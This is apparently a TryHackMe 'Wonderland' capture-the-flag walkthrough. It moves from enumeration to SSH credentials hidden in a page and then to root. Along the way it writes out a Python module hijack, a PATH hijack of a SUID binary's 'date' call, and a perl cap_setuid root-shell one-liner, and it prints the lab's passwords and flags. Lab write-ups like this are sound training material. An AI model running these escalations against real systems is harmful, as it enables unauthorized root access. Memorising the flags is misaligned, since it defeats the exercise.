Wonderland

Enumeration

Nmap

```
┌──(kali㉿kali)-[~]
└─$ sudo nmap -p- --min-rate 5000 -Pn 10.10.108.127
Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-14 05:50 EDT
Warning: 10.10.108.127 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.108.127
Host is up (0.25s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 23.96 seconds
```

```
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sV -sC -A -Pn -p 22,80 10.10.108.127
Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-14 05:50 EDT
Nmap scan report for 10.10.108.127
Host is up (0.26s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 8eeefb96cead70dd05a93b0db071b863 (RSA)
|   256 7a927944164f204350a9a847e2c2be84 (ECDSA)
|_  256 000b8044e63d4b6947922c55147e2ac9 (ED25519)
80/tcp open  http    Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Follow the white rabbit.
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: WAP|phone
Running: Linux 2.4.X|2.6.X, Sony Ericsson embedded
OS CPE: cpe:/o:linux:linux_kernel:2.4.20 cpe:/o:linux:linux_kernel:2.6.22 cpe:/h:sonyericsson:u8i_vivaz
OS details: Tomato 1.28 (Linux 2.4.20), Tomato firmware (Linux 2.6.22), Sony Ericsson U8i Vivaz mobile phone
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)
HOP RTT       ADDRESS
1   253.23 ms 10.9.0.1
2   259.40 ms 10.10.108.127

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 30.03 seconds
```

Directories Scan

```
┌──(kali㉿kali)-[~]
└─$ gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt --no-error -t 40 -u http://10.10.108.127/
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
```

```
===============================================================
[+] Url:                     http://10.10.108.127/
[+] Method:                  GET
[+] Threads:                 40
[+] Wordlist:                /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Timeout:                 10s
===============================================================
2023/08/14 05:50:40 Starting gobuster in directory enumeration mode
===============================================================
/img                 (Status: 301) [Size: 0] [--> img/]
/r                   (Status: 301) [Size: 0] [--> r/]
/poem                (Status: 301) [Size: 0] [--> poem/]
```

Initiate Foothold

Access the `/img` path and download all the images for analyzing:

```
┌──(kali㉿kali)-[~/TryHackMe/Wonderland/10.10.108.127/img]
└─$ ls -l
total 5276
-rw-r--r-- 1 kali kali 1556347 May 25  2020 alice_door.jpg
-rw-r--r-- 1 kali kali 1843670 Jun  1  2020 alice_door.png
-rw-r--r-- 1 kali kali     153 Jun  1  2020 index.html
-rw-r--r-- 1 kali kali 1993438 May 25  2020 white_rabbit_1.jpg
```

Analyze through the images and only the `white_rabbit_1.jph` could be extract the hidden data without passphrase:

```
┌──(kali㉿kali)-[~/TryHackMe/Wonderland/10.10.108.127/img]
└─$ exiftool white_rabbit_1.jpg
ExifTool Version Number         : 12.57
File Name                       : white_rabbit_1.jpg
Directory                       : .
File Size                       : 1993 kB
File Modification Date/Time     : 2020:05:25 12:25:28-04:00
File Access Date/Time           : 2023:08:14 06:12:40-04:00
File Inode Change Date/Time     : 2023:08:14 06:11:55-04:00
File Permissions                : -rw-r--r--
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Resolution Unit                 : inches
X Resolution                    : 594
Y Resolution                    : 594
Image Width                     : 1102
Image Height                    : 1565
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:2 (2 1)
Image Size                      : 1102x1565
Megapixels                      : 1.7
```

```
┌──(kali㉿kali)-[~/TryHackMe/Wonderland/10.10.108.127/img]
└─$ steghide extract -sf alice_door.jpg
Enter passphrase:
steghide: could not extract any data with that passphrase!

┌──(kali㉿kali)-[~/TryHackMe/Wonderland/10.10.108.127/img]
└─$ steghide extract -sf alice_door.png
```

```
Enter passphrase:
steghide: the file format of the file "alice_door.png" is not supported.

┌──(kali㉿kali)-[~/TryHackMe/Wonderland/10.10.108.127/img]
└─$ steghide extract -sf white_rabbit_1.jpg
Enter passphrase:
wrote extracted data to "hint.txt".
```

Read the hint from `hint.txt`

```
┌──(kali㉿kali)-[~/TryHackMe/Wonderland/10.10.108.127/img]
└─$ cat hint.txt
follow the r a b b i t
```

This hint might tell us to keep following the path (directory) of the target's http. Let's try!

```
┌──(kali㉿kali)-[~/TryHackMe/Wonderland/10.10.108.127/img]
└─$ curl http://10.10.108.127/r/
<!DOCTYPE html>
<head>
    <title>Follow the white rabbit.</title>
    <link rel="stylesheet" type="text/css" href="/main.css">
</head>
<body>
    <h1>Keep Going.</h1>
    <p>"Would you tell me, please, which way I ought to go from here?"</p>
</body>
```

Ok, with the first character `r`, it return HTML response. Let's continue:

```
┌──(kali㉿kali)-[~/TryHackMe/Wonderland/10.10.108.127/img]
└─$ curl http://10.10.108.127/r/a/
<!DOCTYPE html>
<head>
    <title>Follow the white rabbit.</title>
    <link rel="stylesheet" type="text/css" href="/main.css">
</head>
<body>
    <h1>Keep Going.</h1>
    <p>"That depends a good deal on where you want to get to," said the Cat.</p>
</body>
┌──(kali㉿kali)-[~/TryHackMe/Wonderland/10.10.108.127/img]
└─$ curl http://10.10.108.127/r/a/b/
^[[A<!DOCTYPE html>
<head>
    <title>Follow the white rabbit.</title>
    <link rel="stylesheet" type="text/css" href="/main.css">
</head>
<body>
    <h1>Keep Going.</h1>
    <p>"I don't much care where—" said Alice.</p>
</body>
┌──(kali㉿kali)-[~/TryHackMe/Wonderland/10.10.108.127/img]
└─$ curl http://10.10.108.127/r/a/b/b/
<!DOCTYPE html>
<head>
    <title>Follow the white rabbit.</title>
    <link rel="stylesheet" type="text/css" href="/main.css">
</head>
<body>
    <h1>Keep Going.</h1>
    <p>"Then it doesn't matter which way you go," said the Cat.</p>
</body>
┌──(kali㉿kali)-[~/TryHackMe/Wonderland/10.10.108.127/img]
```

```
└─$ curl http://10.10.108.127/r/a/b/b/i/
<!DOCTYPE html>
<head>
    <title>Follow the white rabbit.</title>
    <link rel="stylesheet" type="text/css" href="/main.css">
</head>
<body>
    <h1>Keep Going.</h1>
    <p>"—so long as I get somewhere,"" Alice added as an explanation.</p>
</body>
┌──(kali㉿kali)-[~/TryHackMe/Wonderland/10.10.108.127/img]
└─$ curl http://10.10.108.127/r/a/b/b/i/t/
<!DOCTYPE html>

<head>
    <title>Enter wonderland</title>
    <link rel="stylesheet" type="text/css" href="/main.css">
</head>

<body>
    <h1>Open the door and enter wonderland</h1>
    <p>"Oh, you're sure to do that," said the Cat, "if you only walk long enough."</p>
    <p>Alice felt that this could not be denied, so she tried another question. "What sort of people live about here?"
    </p>
    <p>"In that direction,"" the Cat said, waving its right paw round, "lives a Hatter: and in that direction," waving
        the other paw, "lives a March Hare. Visit either you like: they're both mad."</p>
    <p style="display: none;">alice:HowDothTheLittleCrocodileImproveHisShiningTail</p>
    <img src="/img/alice_door.png" style="height: 50rem;">
</body>
```

After fill in all of the characters sequentially, a creds appears:

```
alice:HowDothTheLittleCrocodileImproveHisShiningTail
```

Because the port `22` of **ssh** service is opening → Connect to the target!

Gain Access

After login `ssh` successfully, I check the files on the current directory:

```
alice@wonderland:~$ ls -l
total 8
-rw------- 1 root  root    66 May 25  2020 root.txt
-rw-r--r-- 1 root  root  3577 May 25  2020 walrus_and_the_carpenter.py
```

There is a `root.txt` located in here! However, I do not have the permission to read it. (`-rw-------`). Therefore, I will find some ways to escalate my privilege!

Privilege Escalation → user 1 (rabbit)

```
alice@wonderland:~$ sudo -l
Matching Defaults entries for alice on wonderland:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User alice may run the following commands on wonderland:
    (rabbit) /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py
```

Using `sudo -l`, I found out the user `alice` could run the `sudo` command as user `rabbit` with the following service (`python3.6`) within the file `walrus_and_the_carpenter.py`. The content of the `walrus_and_the_carpenter.py` is a simply script use to print a random string from the poem:

```
import random
poem = """The sun was shining on the sea,
Shining with all his might:
He did his very best to make
The billows smooth and bright —
And this was odd, because it was
The middle of the night.

The moon was shining sulkily,
Because she thought the sun
Had got no business to be there
After the day was done —
"It's very rude of him," she said,
"To come and spoil the fun!"

The sea was wet as wet could be,
The sands were dry as dry.
You could not see a cloud, because
No cloud was in the sky:
No birds were flying over head —
There were no birds to fly.

The Walrus and the Carpenter
Were walking close at hand;
They wept like anything to see
Such quantities of sand:
"If this were only cleared away,"
They said, "it would be grand!"

"If seven maids with seven mops
Swept it for half a year,
Do you suppose," the Walrus said,
"That they could get it clear?"
"I doubt it," said the Carpenter,
And shed a bitter tear.

"O Oysters, come and walk with us!"
The Walrus did beseech.
"A pleasant walk, a pleasant talk,
Along the briny beach:
We cannot do with more than four,
To give a hand to each."

The eldest Oyster looked at him.
But never a word he said:
The eldest Oyster winked his eye,
And shook his heavy head —
Meaning to say he did not choose
To leave the oyster-bed.

But four young oysters hurried up,
All eager for the treat:
Their coats were brushed, their faces washed,
Their shoes were clean and neat —
And this was odd, because, you know,
They hadn't any feet.

Four other Oysters followed them,
And yet another four;
And thick and fast they came at last,
And more, and more, and more —
All hopping through the frothy waves,
And scrambling to the shore.

The Walrus and the Carpenter
```

```
Walked on a mile or so,
And then they rested on a rock
Conveniently low:
And all the little Oysters stood
And waited in a row.

"The time has come," the Walrus said,
"To talk of many things:
Of shoes — and ships — and sealing-wax —
Of cabbages — and kings —
And why the sea is boiling hot —
And whether pigs have wings."

"But wait a bit," the Oysters cried,
"Before we have our chat;
For some of us are out of breath,
And all of us are fat!"
"No hurry!" said the Carpenter.
They thanked him much for that.

"A loaf of bread," the Walrus said,
"Is what we chiefly need:
Pepper and vinegar besides
Are very good indeed —
Now if you're ready Oysters dear,
We can begin to feed."

"But not on us!" the Oysters cried,
Turning a little blue,
"After such kindness, that would be
A dismal thing to do!"
"The night is fine," the Walrus said
"Do you admire the view?

"It was so kind of you to come!
And you are very nice!"
The Carpenter said nothing but
"Cut us another slice:
I wish you were not quite so deaf —
I've had to ask you twice!"

"It seems a shame," the Walrus said,
"To play them such a trick,
After we've brought them out so far,
And made them trot so quick!"
The Carpenter said nothing but
"The butter's spread too thick!"

"I weep for you," the Walrus said.
"I deeply sympathize."
With sobs and tears he sorted out
Those of the largest size.
Holding his pocket handkerchief
Before his streaming eyes.

"O Oysters," said the Carpenter.
"You've had a pleasant run!
Shall we be trotting home again?"
But answer came there none —
And that was scarcely odd, because
They'd eaten every one."""

for i in range(10):
    line = random.choice(poem.split("\n"))
    print("The line was:\t", line)
```

But wait! Do you notice at the beginning of the script?

```
alice@wonderland:~$ head walrus_and_the_carpenter.py
import random
poem = """The sun was shining on the sea,
Shining with all his might:
He did his very best to make
The billows smooth and bright —
And this was odd, because it was
The middle of the night.

The moon was shining sulkily,
Because she thought the sun
```

It used the module `random` to import it before starting the process. This could be exploited by creating the same binary with the same name:

```
alice@wonderland:~$ tee random.py <<EOF
> import pty
> pty.spawn('/bin/bash')
> EOF
import pty
pty.spawn('/bin/bash')
```

Then, execute the file with `sudo` command as user `rabbit`:

```
alice@wonderland:~$ sudo -u rabbit /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py
rabbit@wonderland:~$
```

Privilege Escalation → user 2 (hatter)

Let's move into the directory of user `rabbit` that we have gained:

```
rabbit@wonderland:~$ cd ../rabbit
rabbit@wonderland:/home/rabbit$ ls -l
total 20
-rwsr-sr-x 1 root root 16816 May 25  2020 teaParty
```

When I execute the binary `teaParty`:

```
rabbit@wonderland:/home/rabbit$ ./teaParty
Welcome to the tea party!
The Mad Hatter will be here soon.
Probably by Mon, 14 Aug 2023 10:58:54 +0000
Ask very nicely, and I will give you some tea while you wait for him

Segmentation fault (core dumped)
```

To analyze the file, I transfer it to my local machine by using `python3 -m http.server` and `wget`.

Use `strings` to extract the data inside:

```
[REDACTED]
Welcome to the tea party!
The Mad Hatter will be here soon.
/bin/echo -n 'Probably by ' && date --date='next hour' -R
Ask very nicely, and I will give you some tea while you wait for him
```

```
Segmentation fault (core dumped)
[REDACTED]
```

It used `/bin/echo` to print out the `Probably by` message and concatenated it with the **date** by calling the `date` service on linux. The `date` service normally look like this:

```
┌──(kali㉿kali)-[~/TryHackMe/Wonderland]
└─$ date
Mon Aug 14 06:32:58 AM EDT 2023
```

At this point, we could create a binary with the same name `date` which will establish the shell through `/bin/bash` when being called:

```
rabbit@wonderland:/home/rabbit$ tee date <<EOF
> #!/bin/bash
> echo "gain shell"
> /bin/bash
> EOF
#!/bin/bash
echo "gain shell"
/bin/bash
```

Then, to avoid the `teaParty` calling the `date` built-in service on the system, I have to **export** the **PATH**:

```
rabbit@wonderland:/home/rabbit$ export PATH=/home/rabbit:$PATH
rabbit@wonderland:/home/rabbit$ echo $PATH
/home/rabbit:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
```

Execute the binary `teaParty`:

```
rabbit@wonderland:/home/rabbit$ ./teaParty
Welcome to the tea party!
The Mad Hatter will be here soon.
Probably by Mon, 14 Aug 2023 11:00:18 +0000
Ask very nicely, and I will give you some tea while you wait for him

Segmentation fault (core dumped)
```

Oh wait! What's wrong?!

```
rabbit@wonderland:/home/rabbit$ ls -l
total 24
-rw-r--r-- 1 rabbit rabbit    40 Aug 14 09:59 date
-rwsr-sr-x 1 root   root   16816 May 25  2020 teaParty
```

Oh! The `date` which I have created was not available to execute → Change it mode:

```
rabbit@wonderland:/home/rabbit$ chmod +x date
rabbit@wonderland:/home/rabbit$ ls -la
total 44
drwxr-x--- 2 rabbit rabbit  4096 Aug 14 09:59 .
drwxr-xr-x 6 root   root    4096 May 25  2020 ..
lrwxrwxrwx 1 root   root       9 May 25  2020 .bash_history -> /dev/null
-rw-r--r-- 1 rabbit rabbit   220 May 25  2020 .bash_logout
```

```
-rw-r--r-- 1 rabbit rabbit  3771 May 25  2020 .bashrc
-rw-r--r-- 1 rabbit rabbit   807 May 25  2020 .profile
-rwxr-xr-x 1 rabbit rabbit    40 Aug 14 09:59 date
-rwsr-sr-x 1 root   root   16816 May 25  2020 teaParty
```

Now, it's time to gain the shell of another user:

```
rabbit@wonderland:/home/rabbit$ ./teaParty
Welcome to the tea party!
The Mad Hatter will be here soon.
Probably by gain shell
hatter@wonderland:/home/rabbit$
```

Privilege Escalation → root

Access the `hatter`'s directory:

```
hatter@wonderland:/home/hatter$ ls -l
total 4
-rw------- 1 hatter hatter 29 May 25  2020 password.txt
hatter@wonderland:/home/hatter$ cat password.txt
WhyIsARavenLikeAWritingDesk?
```

I found the user's password. I try to use the `sudo -l` but it did not work:

```
hatter@wonderland:/home/hatter$ sudo -l
[sudo] password for hatter:
Sorry, user hatter may not run sudo on wonderland.
```

From this step, you could use `linpeas.sh` or other tools to automatically search for the vulnerabilities on this machine. In this situation, I will perform the manual way by using the `Linux Capabilities` exploit.

First, check the group id that the user `hatter` is in:

```
hatter@wonderland:/home/hatter$ cat /etc/passwd | grep "hatter"
hatter:x:1003:1003:Mad Hatter,,,:/home/hatter:/bin/bash
```

It is `1003`. Then, we will find the `setuid` services belong to this group by these commands:

```
hatter@wonderland:/home/hatter$ find / -group 1003 2>/dev/null
/home/hatter
/home/hatter/.local
/home/hatter/.local/share
/home/hatter/.local/share/nano
/home/hatter/.bash_logout
/home/hatter/password.txt
/home/hatter/.profile
/home/hatter/.bashrc
/usr/bin/perl5.26.1
/usr/bin/perl
```

Or:

```
hatter@wonderland:/home/hatter$ getcap -r / 2>/dev/null
/usr/bin/perl5.26.1 = cap_setuid+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/perl = cap_setuid+ep
```

Verify that the `/usr/bin/perl` is allowed user `hatter` to execute:

```
hatter@wonderland:/home/hatter$ ls -l /usr/bin/ | grep "perl"
-rwxr-xr-- 2 root   hatter   2097720 Nov 19  2018 perl
-rwxr-xr-x 1 root   root       10216 Nov 19  2018 perl5.26-x86_64-linux-gnu
-rwxr-xr-- 2 root   hatter   2097720 Nov 19  2018 perl5.26.1
-rwxr-xr-x 2 root   root       45853 Nov 19  2018 perlbug
-rwxr-xr-x 1 root   root         125 Nov 19  2018 perldoc
-rwxr-xr-x 1 root   root       10864 Nov 19  2018 perlivp
-rwxr-xr-x 2 root   root       45853 Nov 19  2018 perlthanks
```

Through GTFOBins, this command is used to escalate privilege to `root` user:

```
/usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
```

But when I execute it, I get an error said:

```
hatter@wonderland:~$ /usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
bash: /usr/bin/perl: Permission denied
```

Why?? Check the current user id right now:

```
hatter@wonderland:/home/hatter$ id
uid=1003(hatter) gid=1002(rabbit) groups=1002(rabbit)
```

Despite of I am `hatter` now, but the current group is belong to `rabbit` user (`1002`) because I used the binaries above to become user `hatter`, not the group! Therefore, it's time to user `hatter`'s password to login through **ssh**:

```
┌──(kali㉿kali)-[~]
└─$ ssh hatter@10.10.108.127
hatter@10.10.108.127's password:
[REDACTED]
hatter@wonderland:~$ id
uid=1003(hatter) gid=1003(hatter) groups=1003(hatter)
```

Ok! Now I am in group `1003` belongs to user `hatter`. Let's root!

```
hatter@wonderland:~$ /usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
# id
uid=0(root) gid=1003(hatter) groups=1003(hatter)
```

Find all the flag and get them:

```
# find / -name "user.txt"
/root/user.txt
# find / -name "root.txt"
```

```
/home/alice/root.txt
# cat /root/user.txt
thm{"Curiouser and curiouser!"}
# cat /home/alice/root.txt
thm{Twinkle, twinkle, little bat! How I wonder what you’re at!}
```